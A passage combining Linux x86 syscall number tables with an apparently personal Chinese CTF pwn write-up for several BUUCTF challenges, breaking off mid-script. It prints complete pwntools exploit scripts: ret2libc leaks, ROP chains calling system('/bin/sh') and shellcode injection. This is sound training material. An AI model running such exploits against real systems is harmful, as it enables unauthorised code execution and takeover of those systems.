#define __NR_sethostname 74
#define __NR_setrlimit 75
#define __NR_getrlimit 76
#define __NR_getrusage 77
#define __NR_gettimeofday 78
#define __NR_settimeofday 79
#define __NR_getgroups 80
#define __NR_setgroups 81
#define __NR_select 82
#define __NR_symlink 83
#define __NR_oldlstat 84
#define __NR_readlink 85
#define __NR_uselib 86
#define __NR_swapon 87
#define __NR_reboot 88
#define __NR_readdir 89
#define __NR_mmap 90
#define __NR_munmap 91
#define __NR_truncate 92
#define __NR_ftruncate 93
#define __NR_fchmod 94
#define __NR_fchown 95
#define __NR_getpriority 96
#define __NR_setpriority 97
#define __NR_profil 98
#define __NR_statfs 99
#define __NR_fstatfs 100
#define __NR_ioperm 101
#define __NR_socketcall 102
#define __NR_syslog 103
#define __NR_setitimer 104
#define __NR_getitimer 105
#define __NR_stat 106
#define __NR_lstat 107
#define __NR_fstat 108
#define __NR_olduname 109
#define __NR_iopl 110
#define __NR_vhangup 111
#define __NR_idle 112
#define __NR_vm86old 113
#define __NR_wait4 114
#define __NR_swapoff 115
#define __NR_sysinfo 116
#define __NR_ipc 117
#define __NR_fsync 118
#define __NR_sigreturn 119
#define __NR_clone 120
#define __NR_setdomainname 121
#define __NR_uname 122
#define __NR_modify_ldt 123
#define __NR_adjtimex 124
#define __NR_mprotect 125
#define __NR_sigprocmask 126
#define __NR_create_module 127
#define __NR_init_module 128
#define __NR_delete_module 129
#define __NR_get_kernel_syms 130
#define __NR_quotactl 131
#define __NR_getpgid 132
#define __NR_fchdir 133
#define __NR_bdflush 134
#define __NR_sysfs 135
#define __NR_personality 136
#define __NR_afs_syscall 137
#define __NR_setfsuid 138
#define __NR_setfsgid 139
#define __NR__llseek 140
#define __NR_getdents 141
#define __NR__newselect 142
#define __NR_flock 143
#define __NR_msync 144
#define __NR_readv 145
#define __NR_writev 146
#define __NR_getsid 147
#define __NR_fdatasync 148
#define __NR__sysctl 149
#define __NR_mlock 150
#define __NR_munlock 151
#define __NR_mlockall 152
#define __NR_munlockall 153
#define __NR_sched_setparam 154
#define __NR_sched_getparam 155
#define __NR_sched_setscheduler 156
#define __NR_sched_getscheduler 157
#define __NR_sched_yield 158
#define __NR_sched_get_priority_max 159
#define __NR_sched_get_priority_min 160
#define __NR_sched_rr_get_interval 161
#define __NR_nanosleep 162
#define __NR_mremap 163
#define __NR_setresuid 164
#define __NR_getresuid 165
#define __NR_vm86 166
#define __NR_query_module 167
#define __NR_poll 168
#define __NR_nfsservctl 169
#define __NR_setresgid 170
#define __NR_getresgid 171
#define __NR_prctl 172
#define __NR_rt_sigreturn 173
#define __NR_rt_sigaction 174
#define __NR_rt_sigprocmask 175
#define __NR_rt_sigpending 176
#define __NR_rt_sigtimedwait 177
#define __NR_rt_sigqueueinfo 178
#define __NR_rt_sigsuspend 179
#define __NR_pread64 180
#define __NR_pwrite64 181
#define __NR_chown 182
#define __NR_getcwd 183
#define __NR_capget 184
#define __NR_capset 185
#define __NR_sigaltstack 186
#define __NR_sendfile 187
#define __NR_getpmsg 188
#define __NR_putpmsg 189
#define __NR_vfork 190
#define __NR_ugetrlimit 191
#define __NR_mmap2 192
#define __NR_truncate64 193
#define __NR_ftruncate64 194
#define __NR_stat64 195
#define __NR_lstat64 196
#define __NR_fstat64 197
#define __NR_lchown32 198
#define __NR_getuid32 199
#define __NR_getgid32 200
#define __NR_geteuid32 201
#define __NR_getegid32 202
#define __NR_setreuid32 203
#define __NR_setregid32 204
#define __NR_getgroups32 205
#define __NR_setgroups32 206
#define __NR_fchown32 207
#define __NR_setresuid32 208
#define __NR_getresuid32 209
#define __NR_setresgid32 210
#define __NR_getresgid32 211
#define __NR_chown32 212
#define __NR_setuid32 213
#define __NR_setgid32 214
#define __NR_setfsuid32 215
#define __NR_setfsgid32 216
#define __NR_pivot_root 217
#define __NR_mincore 218
#define __NR_madvise 219
#define __NR_getdents64 220
#define __NR_fcntl64 221
#define __NR_gettid 224
#define __NR_readahead 225
#define __NR_setxattr 226
#define __NR_lsetxattr 227
#define __NR_fsetxattr 228
#define __NR_getxattr 229
#define __NR_lgetxattr 230
#define __NR_fgetxattr 231
#define __NR_listxattr 232
#define __NR_llistxattr 233
#define __NR_flistxattr 234
#define __NR_removexattr 235
#define __NR_lremovexattr 236
#define __NR_fremovexattr 237
#define __NR_tkill 238
#define __NR_sendfile64 239
#define __NR_futex 240
#define __NR_sched_setaffinity 241
#define __NR_sched_getaffinity 242
#define __NR_set_thread_area 243
#define __NR_get_thread_area 244
#define __NR_io_setup 245
#define __NR_io_destroy 246
#define __NR_io_getevents 247
#define __NR_io_submit 248
#define __NR_io_cancel 249
#define __NR_fadvise64 250
#define __NR_exit_group 252
#define __NR_lookup_dcookie 253
#define __NR_epoll_create 254
#define __NR_epoll_ctl 255
#define __NR_epoll_wait 256
#define __NR_remap_file_pages 257
#define __NR_set_tid_address 258
#define __NR_timer_create 259
#define __NR_timer_settime 260
#define __NR_timer_gettime 261
#define __NR_timer_getoverrun 262
#define __NR_timer_delete 263
#define __NR_clock_settime 264
#define __NR_clock_gettime 265
#define __NR_clock_getres 266
#define __NR_clock_nanosleep 267
#define __NR_statfs64 268
#define __NR_fstatfs64 269
#define __NR_tgkill 270
#define __NR_utimes 271
#define __NR_fadvise64_64 272
#define __NR_vserver 273
#define __NR_mbind 274
#define __NR_get_mempolicy 275
#define __NR_set_mempolicy 276
#define __NR_mq_open 277
#define __NR_mq_unlink 278
#define __NR_mq_timedsend 279
#define __NR_mq_timedreceive 280
#define __NR_mq_notify 281
#define __NR_mq_getsetattr 282
#define __NR_kexec_load 283
#define __NR_waitid 284
#define __NR_add_key 286
#define __NR_request_key 287
#define __NR_keyctl 288
#define __NR_ioprio_set 289
#define __NR_ioprio_get 290
#define __NR_inotify_init 291
#define __NR_inotify_add_watch 292
#define __NR_inotify_rm_watch 293
#define __NR_migrate_pages 294
#define __NR_openat 295
#define __NR_mkdirat 296
#define __NR_mknodat 297
#define __NR_fchownat 298
#define __NR_futimesat 299
#define __NR_fstatat64 300
#define __NR_unlinkat 301
#define __NR_renameat 302
#define __NR_linkat 303
#define __NR_symlinkat 304
#define __NR_readlinkat 305
#define __NR_fchmodat 306
#define __NR_faccessat 307
#define __NR_pselect6 308
#define __NR_ppoll 309
#define __NR_unshare 310
#define __NR_set_robust_list 311
#define __NR_get_robust_list 312
#define __NR_splice 313
#define __NR_sync_file_range 314
#define __NR_tee 315
#define __NR_vmsplice 316
#define __NR_move_pages 317
#define __NR_getcpu 318
#define __NR_epoll_pwait 319
#define __NR_utimensat 320
#define __NR_signalfd 321
#define __NR_timerfd_create 322
#define __NR_eventfd 323
#define __NR_fallocate 324
#define __NR_timerfd_settime 325
#define __NR_timerfd_gettime 326
#define __NR_signalfd4 327
#define __NR_eventfd2 328
#define __NR_epoll_create1 329
#define __NR_dup3 330
#define __NR_pipe2 331
#define __NR_inotify_init1 332
#define __NR_preadv 333
#define __NR_pwritev 334
#define __NR_rt_tgsigqueueinfo 335
#define __NR_perf_event_open 336
#define __NR_recvmmsg 337
#define __NR_fanotify_init 338
#define __NR_fanotify_mark 339
#define __NR_prlimit64 340
#define __NR_name_to_handle_at 341
#define __NR_open_by_handle_at 342
#define __NR_clock_adjtime 343
#define __NR_syncfs 344
#define __NR_sendmmsg 345
#define __NR_setns 346
#define __NR_process_vm_readv 347
#define __NR_process_vm_writev 348
#define __NR_kcmp 349
#define __NR_finit_module 350
#define __NR_sched_setattr 351
#define __NR_sched_getattr 352
#define __NR_renameat2 353
#define __NR_seccomp 354
#define __NR_getrandom 355
#define __NR_memfd_create 356
#define __NR_bpf 357
#define __NR_execveat 358
#define __NR_socket 359
#define __NR_socketpair 360
#define __NR_bind 361
#define __NR_connect 362
#define __NR_listen 363
#define __NR_accept4 364
#define __NR_getsockopt 365
#define __NR_setsockopt 366
#define __NR_getsockname 367
#define __NR_getpeername 368
#define __NR_sendto 369
#define __NR_sendmsg 370
#define __NR_recvfrom 371
#define __NR_recvmsg 372
#define __NR_shutdown 373
#define __NR_userfaultfd 374
#define __NR_membarrier 375
#define __NR_mlock2 376
#define __NR_copy_file_range 377
#define __NR_preadv2 378
#define __NR_pwritev2 379

#endif /* _ASM_X86_UNISTD_32_H */

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
#64位 
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
#define __NR_pause 34
#define __NR_nanosleep 35
#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
#define __NR_sendfile 40
#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
#define __NR_readlink 89
#define __NR_chmod 90
#define __NR_fchmod 91
#define __NR_chown 92
#define __NR_fchown 93
#define __NR_lchown 94
#define __NR_umask 95
#define __NR_gettimeofday 96
#define __NR_getrlimit 97
#define __NR_getrusage 98
#define __NR_sysinfo 99
#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
#define __NR_syslog 103
#define __NR_getgid 104
#define __NR_setuid 105
#define __NR_setgid 106
#define __NR_geteuid 107
#define __NR_getegid 108
#define __NR_setpgid 109
#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
#define __NR_setregid 114
#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
#define __NR_ioprio_set 251
#define __NR_ioprio_get 252
#define __NR_inotify_init 253
#define __NR_inotify_add_watch 254
#define __NR_inotify_rm_watch 255
#define __NR_migrate_pages 256
#define __NR_openat 257
#define __NR_mkdirat 258
#define __NR_mknodat 259
#define __NR_fchownat 260
#define __NR_futimesat 261
#define __NR_newfstatat 262
#define __NR_unlinkat 263
#define __NR_renameat 264
#define __NR_linkat 265
#define __NR_symlinkat 266
#define __NR_readlinkat 267
#define __NR_fchmodat 268
#define __NR_faccessat 269
#define __NR_pselect6 270
#define __NR_ppoll 271
#define __NR_unshare 272
#define __NR_set_robust_list 273
#define __NR_get_robust_list 274
#define __NR_splice 275
#define __NR_tee 276
#define __NR_sync_file_range 277
#define __NR_vmsplice 278
#define __NR_move_pages 279
#define __NR_utimensat 280
#define __NR_epoll_pwait 281
#define __NR_signalfd 282
#define __NR_timerfd_create 283
#define __NR_eventfd 284
#define __NR_fallocate 285
#define __NR_timerfd_settime 286
#define __NR_timerfd_gettime 287
#define __NR_accept4 288
#define __NR_signalfd4 289
#define __NR_eventfd2 290
#define __NR_epoll_create1 291
#define __NR_dup3 292
#define __NR_pipe2 293
#define __NR_inotify_init1 294
#define __NR_preadv 295
#define __NR_pwritev 296
#define __NR_rt_tgsigqueueinfo 297
#define __NR_perf_event_open 298
#define __NR_recvmmsg 299
#define __NR_fanotify_init 300
#define __NR_fanotify_mark 301
#define __NR_prlimit64 302
#define __NR_name_to_handle_at 303
#define __NR_open_by_handle_at 304
#define __NR_clock_adjtime 305
#define __NR_syncfs 306
#define __NR_sendmmsg 307
#define __NR_setns 308
#define __NR_getcpu 309
#define __NR_process_vm_readv 310
#define __NR_process_vm_writev 311
#define __NR_kcmp 312
#define __NR_finit_module 313
#define __NR_sched_setattr 314
#define __NR_sched_getattr 315
#define __NR_renameat2 316
#define __NR_seccomp 317
#define __NR_getrandom 318
#define __NR_memfd_create 319
#define __NR_kexec_file_load 320
#define __NR_bpf 321
#define __NR_execveat 322
#define __NR_userfaultfd 323
#define __NR_membarrier 324
#define __NR_mlock2 325
#define __NR_copy_file_range 326
#define __NR_preadv2 327
#define __NR_pwritev2 328

#endif /* _ASM_X86_UNISTD_64_H */

[OGeek2019]babyrop

2024.6.24

日常检查

image-20240624195530751

32位架构,NX保护,FULL RELRO为地址随机化。

这里看了别人的wp,猜测应该是一个libc泄露的题。so这题仔细看一下,首先要了解这个函数都在干什么?

image-20240625151320216

image-20240625151935845

sprintf()函数将生成的随机数a1加到了s[32]的数组中。这里题目有read函数,但是没有栈溢出的可能,读入buf之后,读取buf的长度,然后比较buf和s字符串的大小(比较长度为前v1个字符)。

此时如果strncmp()的结果不为0,则直接退出程序。因此我们第一个目的:使strncmp结果为0

sub_804871F()函数会将buf[7]作为参数传进来,将它的ASCII码比对,看到全程序中唯一一个存在栈溢出漏洞可能性的地方。但是必须满足a1的ASCII码值能达到栈溢出的大小。第二个目的:使a1的ASCII码值(sub_804871F()函数里的buf[7]的ASCII码值尽量大)。

所以解题如下:

first:让strncmp(buf, s, v1)为0

但是当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,两者显然不可能相等。

另一种办法就是使v1等于0,这样strncmp的结果仍为0。

而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可。此时程序不会退出。

Second:让buf[7]的值尽可能大
前面讲到,要实现栈溢出,buf[7]元素的ASCII码值必须大于两百四十多才行。(因为要溢出)

ASCII码对照表:

https://blog.csdn.net/wz947324/article/details/80076496

可以看出,在扩展的ASCII码中才有我们需要的250+的ASCII码值,而这些字符里,如果用键盘打出来,比如“≥”的ascii码值为242,但是在vscode里面可以看到,他的ASCII码值并没有242,所以用到转义字符。

\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。

奇怪的是,我把’\xff’和其他ASCII码大于128的符号放进vscode,只有用unsigned __int8转换出来的是他们的ASCII码值,而用unsigned int和int转换出来的都是负数,而ASCII码小于128的就不会出现这种情况。

我们还要注意到,有一个让buf[v5 - 1] = 0的数,应该考虑该语句会不会影响到buf[7]的值。v5为read函数返回的值,参考网上资料:read函数返回的是读取的字节数。

答案是包含。那么我上述代码v5的值为9,那么buf[v5-1]就未影响到buf[7]的值。否则我们可能就要构造

payload = ‘\x00’+‘\xff’*8

Finally:ROP!

write函数泄露libc版本

1
2
3
4
5
6
7
8
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))

注意事项
注意点:1.32位程序传参方式为栈传参,而64位程序则是优先通过寄存器传参,届时就需要用ROPgadget寻找gadgets来进行ROP了。

2.32位程序里main函数地址不能用elf.sym[“main”]

3.32位程序里调用函数后需要先压返回地址,再压参数。

调用函数栈的结构为:调用函数的地址->函数返回地址->参数n->参数n-1->…..->参数1

4.libc题目中提供了,为libc-2-23.so,应该可以直接用,我是把他加进了Libcsearcher里然后再用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = remote("node3.buuoj.cn",27426)
libc=ELF('libc-2.23.so')
elf = ELF('./pwn1')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

payload1 = "\x00" + "\xff"*7
p.sendline(payload1)
p.recvuntil("Correct\n")

payload2 = "a"*0xe7+'a'*4
payload2 += p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8)

p.sendline(payload2)

write_addr=u32(p.recv(4))



offset = write_addr - libc.sym['write']
system_addr=offset+libc.sym['system']
bin_sh_addr=offset+libc.search('/bin/sh').next()

p.sendline(payload1)
p.recvuntil('Correct\n')
payload3 = "a"*0xe7 + 'a'*4
payload3 += p32(system_addr) + "a"*4 + p32(bin_sh_addr)
p.sendline(payload3)

p.interactive()

放着!

来来来,2024.7.11,接着看一下

如题目一样要先绕过一下

image-20240712092140596

如上思路一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#32位
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
context.os='linux'
elf = ELF('./1111')
p=remote('node5.buuoj.cn',27986)

#绕过

payload=b'\x00'+b'\xff'*7
p.sendline(payload)
p.recvuntil('Correct\n')
#params1
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr =0x8048825

#attack1
payload1 = b"A"*(0xe7+4)+ p32(write_plt) + p32(main_addr) +p32(1)+ p32(write_got)+p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
print(hex(write_addr))



#构建一下libc
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")

#attack2
p.sendline(payload)
p.recvuntil('Correct\n')
payload2 = flat([b'A'*(0xe7+4),system_addr,main_addr,bin_sh])
p.sendline(payload2)
p.interactive()

解决了

image-20240712095022407

flag{d7610b4d-1471-4443-ba27-2c0f13dec95f}

ciscn_2019_n_5

2024.6.25

日常查壳

image-20240625155825261

什么保护机制也没开,64位架构,扔进ida打开看看

找到溢出点,gets函数

image-20240625160139607

确定一下溢出的长度为0x28,发现有没有system函数,猜测应该是要自己构建rop链来泄露libc,不会,上网看看

这里我们就是不知道要溢出到哪里?

所以我们是随便看看汇编指令,发现name参数存在全局变量bss段上,所以就溢出到着

image-20240625163838766

构建exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
p=remote('node5.buuoj.cn', 26923)

context(arch='amd64',os='linux') #用来导入pwntools模块
shellcode=asm(shellcraft.sh()) #利用pwntools模块自动生成shellcode
p.sendlineafter('tell me your name',shellcode) #往name中写入shellcode

payload='a'*0x28+p64(0x601080)
p.sendlineafter('What do you want to say to me?',payload)
p.interactive()




from pwn import*

r=remote('node5.buuoj.cn',26923)

context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)

payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)

r.interactive()

打通了,但是为什么查不到flag呢?

image-20240625180537943

放着!

okok,2024.7.11,回头看一手这个

看了一下,感觉可以打ret2shellcode,name在bss段上

image-20240711165721572

找一下偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh=remote("",)
sh = process('./1111')
shellcode = asm(shellcraft.sh())
sh.recvuntil('tell me your name')
sh.sendline(shellcode)
sh.recvuntil('What do you want to say to me?')
name_addr=0x601080
payload=b'a'*(0x20+8)+p64(name_addr)
sh.sendline(payload)
sh.interactive()
#显然打不通,不到为什么、

那么就planB

就是一个先利用puts函数泄露libc版本然后获得shell的题,amd64位架构

image-20240711164514644

偏移找一下,上图和下图是一样的效果

image-20240711164620740

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',29414)
elf = ELF('./1111')



#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400713
ret_addr=0x00000000004004c9
#attack1
p.recvuntil('tell me your name\n')
p.sendline("hhhh")#这里是随便写的
p.recvuntil('What do you want to say to me?\n')
payload = b'a'*(0x20+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)


gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(gets_addr))

image-20240711173226149

找一下libc版本

0x7f0207bc49c0

image-20240711173559122

1
2
3
4
#params
puts_addr=0x809c0
str_bin_sh=0x1b3e9a
system_addr=0x4f440
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#64位
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os='linux'
p = remote('node5.buuoj.cn',29414)
elf = ELF('./1111')



#params
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
pop_rdi =0x0000000000400713
ret_addr=0x00000000004004c9
#attack1
p.recvuntil('tell me your name\n')
p.sendline("hhhh")#这里是随便写的
p.recvuntil('What do you want to say to me?\n')
payload = b'a'*(0x20+8)+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)


gets_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(gets_addr))

#params2
puts_addr=0x809c0
str_bin_sh=0x1b3e9a
system_addr=0x4f440
#构建libc
libcbase = gets_addr - puts_addr
system_addr = libcbase + system_addr
bin_sh = libcbase + str_bin_sh
#attack2
payload = flat([b'a'*(0x20+8),ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()

然后成功

image-20240711174338268

flag{6b306e8d-be23-44ad-8490-7755da282bf2}

not_the_same_3dsctf_2016

2024.6.25

日常检查

image-20240625190519286

NX保护,32位架构

打开之后发现,很明显的gets函数,

image-20240625190757445

看一眼字符串,看见了flag.txt

image-20240625190907123

看起来像一个后门函数,看一下这个函数的地址

image-20240625190956271

感觉这样就行了,不知道要不要加其他的返回值什么的,先试一试

1
2
3
4
5
from pwn import*
p=remote('node5.buuoj.cn', 27113)
payload='a'*0x48+p32(0x80489A0)
p.sendline(payload)
p.interactive()

发现不行,其实看一下就知道

image-20240625191738836

传参从汇编代码看也不是直接压栈的,而是间接通过esp加减的方式。

所以只能通rop来执行命令了

看了一下

image-20240625193037422

看一下它的地址,发现他在bss段上,问题就简单多了。0x80ECA2D

image-20240625193057470

我们还需要一个输出函数和一个exit函数

printf函数如下:0x804F0A0

image-20240625193644847

exit()函数如下:0x804E660

image-20240625193835311

所以exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
r=remote('node5.buuoj.cn',27113)
fl4g=0x80ECA2D
printf=0x804F0A0
eixt=0x804E660
get_secret=0x80489A0
payload=b'a'*0x2d +p32(get_secret)+p32(printf)+p32(eixt)+p32(fl4g)
#没加ebp的原因是因为看一下汇编指令,里面没有pop ebp吗?
r.sendline(payload)
r.interactive()

image-20240625201032223

flag{4d6ba807-3dde-431d-9525-600906bcb1f5}

ciscn_2019_en_2

2024.6.26

日常检查

image-20240626190524777

NX保护,64架构,ida静态分析。

嗯~看着挺复杂的,但是一点也不简单

上来大概看一看,然后找找溢出点,很快就找到了gets函数

image-20240626192021838

其实仔细在找找,就知道没有我们想要的system函数和bin/sh,所以这里应该就是要libc泄露了,啊啊啊啊啊!

直接看一下他们的wp

题目思路

  • gets(s);存在栈溢出。
  • 用\x00绕过strlen(s),形成栈溢出。因为strlen()函数在遇到字符 ‘\0’(也就是空字符,字符值为0)时会立即退出。
  • 泄露puts()地址,打常规ret2libc。

栈泄露还是能看的。确定一下溢出长度加上rbp的为0x58

image-20240626194840957

image-20240626194944085

泄露puts函数

然后呢,泄露puts的地址的话,就要找一下puts函数的地址,这里就是常规做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#start
r= remote("node5.buuoj.cn",29640)
lib = ELF("./ubuntu18(64).so")
